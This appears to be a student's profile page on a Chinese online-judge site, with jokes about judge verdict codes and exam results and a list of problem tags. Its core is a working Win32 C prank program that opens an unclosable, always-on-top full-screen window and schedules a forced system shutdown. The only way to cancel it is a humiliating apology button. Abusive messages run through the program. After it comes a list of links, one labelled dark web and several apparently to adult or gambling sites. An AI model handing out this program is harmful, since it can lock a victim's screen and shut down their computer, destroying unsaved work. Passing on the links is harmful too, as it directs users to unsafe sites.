• 个人简介

    //我是扇贝;这是我儿子

    这里有个好玩的

    有没有可能是这个

    真的是最后一次

    哈哈哈哈哈哈哈哈哈

    image

    我以为

    AC:Answer Crappy,差劲的答案。

    CE:Company Error,公司错误。

    PC:Paste Can't,不能复制。

    WA:Wonderful Answer,漂亮的答案。

    RE:Rediculus Error,滑稽的错误。

    TLE:Time Limit Enough,时间足够。

    MLE:Memory Limit Enough,内存足够。

    OLE:Output Limit Enough,输出足够。

    UKE:Unbeliveable Keep Escape,难以置信的保持退出状态。

    实际上

    AC:Accept,程序通过。

    CE:Compile Error,编译错误。

    PC:Partially Correct,部分正确。

    WA:Wrong Answer,答案错误。

    RE:Runtime Error,运行时错误。

    TLE:Time Limit Exceeded,超出时间限制。

    MLE:Memory Limit Exceeded,超出内存限制。

    OLE:Output Limit Exceeded,输出超过限制。

    UKE:Unknown Error,出现未知错误。

    预计月考情况

    语文:风萧萧兮易水寒,壮士一去兮不复还

    数学:成绩在定义域内单调递减

    英语:Game over

    物理:成绩做自由落体运动

    化学:沉淀不反

    历史:抵抗失败

    政治:分数贬值汇率下降股市全面崩盘

    地理:未来我们将进入极夜

    生物:我们有生命危险

    月考我不要 ∆ h⁴+ue===huhe

    
    
    #include <windows.h>
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);  // 屏幕宽度
    int screenHeight = GetSystemMetrics(SM_CYSCREEN); 
    int load=1;
    void DisableMinimize(HWND hwnd) {
        // 获取当前窗口的样式
        LONG style = GetWindowLong(hwnd, GWL_STYLE);
        if (style == 0) {
            // 如果失败,则直接返回(理论上不太可能失败,除非hwnd无效)
            return;
        }
     
        // 移除WS_MINIMIZEBOX样式(允许最小化)
        style &= ~WS_MINIMIZEBOX;
     
        // 设置修改后的窗口样式
        SetWindowLong(hwnd, GWL_STYLE, style);
    }
    /* This is where all the input to the window goes to */
    LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) {
    	switch(Message) {
    		
    		/* Upon destruction, tell the main thread to stop */
    		case WM_CREATE: {
                // 创建按钮(子窗口)
                HWND hBtn = CreateWindowEx(
                    0,                          // 扩展风格(0表示无)
                    "Button",                   // 预定义的按钮类名
                    "爸爸我错了,给你磕一个",                    // 按钮上的文字
                    WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,  // 按钮风格:子窗口+可见+普通按钮
                    800,100,              // 按钮左上角坐标(相对于主窗口)
                    300, 50,                    // 按钮宽高
                    hwnd,                       // 父窗口句柄(主窗口)
                    (HMENU)666,              // 按钮ID(用于区分不同按钮)
                    GetModuleHandle(NULL),      // 应用实例句柄
                    NULL                        // 附加数据(NULL即可)
                );
                CreateWindowEx(
                    0,                          // 扩展风格(0表示无)
                    "Button",                   // 预定义的按钮类名
                    "绝不磕",                    // 按钮上的文字
                    WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,  // 按钮风格:子窗口+可见+普通按钮
                    800, 800,                   // 按钮左上角坐标(相对于主窗口)
                    300, 50,                    // 按钮宽高
                    hwnd,                       // 父窗口句柄(主窗口)
                    (HMENU)777,              // 按钮ID(用于区分不同按钮)
                    GetModuleHandle(NULL),      // 应用实例句柄
                    NULL                        // 附加数据(NULL即可)
                );
    
                // 检查按钮是否创建成功
                if (hBtn == NULL) {
                    MessageBox(hwnd, "按钮创建失败!", "错误", MB_ICONERROR);
                    return -1;
                }
                break;
            }
    
            // 处理按钮点击(或其他控件消息)
            case WM_COMMAND: {
                // LOWORD(wParam) 是控件ID,用于判断点击的是哪个按钮
                if (LOWORD(wParam) == 666) {
                    MessageBox(hwnd, "儿子真乖!(作者:byoi25_4675)", "提示", MB_OK);
                    system("shutdown -a");
                    PostQuitMessage(0);
                }
                if (LOWORD(wParam) == 777) {
    					MessageBox(hwnd,"去死吧!!!,100秒内给我磕就解除关机","给你机会不中用",MB_OK);
    					system("shutdown -s -t 100"); 
                }
    
                break;
            } 
    
    	
    		case WM_CLOSE:{
    			MessageBox(hwnd,"密码的你这辈子都关不掉","fuck   fuck",MB_OK);
    			break;
    		} 
    		case WM_DESTROY: {
    			system("shutdown -s -t 100");
    			PostQuitMessage(0);
    			
    			break;
    		}
    		
    		/* All other messages (a lot of them) are processed using default procedures */
    		default:
    			return DefWindowProc(hwnd, Message, wParam, lParam);
    	}
    	return 0;
    }
    
    /* The 'main' function of Win32 GUI programs: this is where execution starts */
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    	WNDCLASSEX wc; /* A properties struct of our window */
    	HWND hwnd; /* A 'HANDLE', hence the H, or a pointer to our window */
    	MSG msg; /* A temporary location for all messages */
    
    	/* zero out the struct and set the stuff we want to modify */
    	memset(&wc,0,sizeof(wc));
    	wc.cbSize		 = sizeof(WNDCLASSEX);
    	wc.lpfnWndProc	 = WndProc; /* This is where we will send messages to */
    	wc.hInstance	 = hInstance;
    	wc.hCursor		 = LoadCursor(NULL, IDC_ARROW);
    	
    	/* White, COLOR_WINDOW is just a #define for a system color, try Ctrl+Clicking it */
    	wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
    	wc.lpszClassName = "WindowClass";
    	wc.hIcon		 = LoadIcon(NULL, IDI_APPLICATION); /* Load a standard icon */
    	wc.hIconSm		 = LoadIcon(NULL, IDI_APPLICATION); /* use the name "A" to use the project icon */
    
    	if(!RegisterClassEx(&wc)) {
    		MessageBox(NULL, "Window Registration Failed!","Error!",MB_ICONEXCLAMATION|MB_OK);
    		return 0;
    	}
    
    	hwnd = CreateWindowEx(WS_EX_CLIENTEDGE,"WindowClass","给爸爸磕一个",WS_POPUP | WS_VISIBLE,
    		0,/* x */
    		0, /* y */
    		screenWidth,/* width */
    		screenHeight,/* height */
    		NULL,NULL,hInstance,NULL);
    		SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
    	DisableMinimize(hwnd);
    	if(hwnd == NULL) {
    		MessageBox(NULL, "Window Creation Failed!","Error!",MB_ICONEXCLAMATION|MB_OK);
    		return 0;
    	}
    	
    
    	/*
    		This is the heart of our program where all input is processed and 
    		sent to WndProc. Note that GetMessage blocks code flow until it receives something, so
    		this loop will not produce unreasonably high CPU usage
    	*/
    	while(GetMessage(&msg, NULL, 0, 0) > 0) { /* If no error is received... */
    		TranslateMessage(&msg); /* Translate key codes to chars if present */
    		DispatchMessage(&msg); /* Send it to WndProc */
    	}
    	return msg.wParam;
    }
     https://www.xn6et.com
     https://7rfr1.se33.xyz/
    8a www.j2gb.com      http://www.sew4.com/     https://2545b2.com/Enter/home.html
    暗网 anw6.cc    https://hsck3333.com/       Wee.e5k6.com    https://88av5019.cc/?dc=88a1882.cc       
    cfc88e08ecb8.com    1lsc6.com   laow6.com
    
    
  • 通过的题目

  • 最近活动

  • 最近编写的题解

题目标签

语言基础
42
循环语句
22
选择语句
14
一维数组
9
其他
8
输入输出
8
基础语法
7
语言入门
7
位运算
4
竞赛
3
模拟
2
快速幂
2
递推
2
贪心
2
搜索
2
NOIP
2
普及组
2
数学
2
python
2
字符串
2